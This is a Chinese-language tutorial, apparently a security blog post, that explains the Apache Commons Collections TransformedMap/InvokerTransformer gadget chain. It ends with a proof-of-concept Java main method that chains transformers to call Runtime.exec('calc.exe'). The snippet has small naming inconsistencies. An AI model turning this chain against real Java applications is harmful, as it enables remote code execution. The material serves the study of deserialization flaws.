Map类 --> TransformedMap
Map类是存储键值对的数据结构。 Apache Commons Collections中实现了TransformedMap ,该类可以在一个元素被添加/删除/或是被修改时会调用transform方法自动进行特定的修饰变换,具体的变换逻辑由Transformer类定义。也就是说,TransformedMap类中的数据发生改变时,可以自动对进行一些特殊的变换,比如在数据改变时,进行一些我们提前设定好的操作。
TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。
第一个参数为待转化的Map对象
第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
第三个参数为Map对象内的value要经过的转化方法
Transformer接口
transform方法 我们可以看到该类接收一个对象,获取该对象的名称,然后调用了一个invoke反射方法。另外,多个Transformer还能串起来,形成ChainedTransformer。当触发时,ChainedTransformer可以按顺序调用一系列的变换。
常用的一些实现Transformer接口的类
ConstantTransformer
把一个对象转化为常量,并返回。
InvokerTransformer
通过反射,返回一个对象
ChainedTransformer
ChainedTransformer为链式的Transformer,会挨个执行我们定义Transformer
InvokerTransformer代码
public class InvokerTransformer implements Transformer, Serializable {
...
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}
构造
那么我们的总体思路就是
1)构造一个Map和一个能够执行代码的ChainedTransformer, 2)生成一个TransformedMap实例 3)利用MapEntry的setValue()函数对TransformedMap中的键值进行修改 4)触发我们构造的之前构造的链式Transforme(即ChainedTransformer)进行自动转换
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] {String.class }, new Object[] {"calc.exe"})};
Transformer transformedChain = new ChainedTransformer(transformers);
Map innerMap = new hashMap();
innerMap.put("1", "zhang");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
}
参考 https://www.cnblogs.com/ssooking/p/5875215.html
|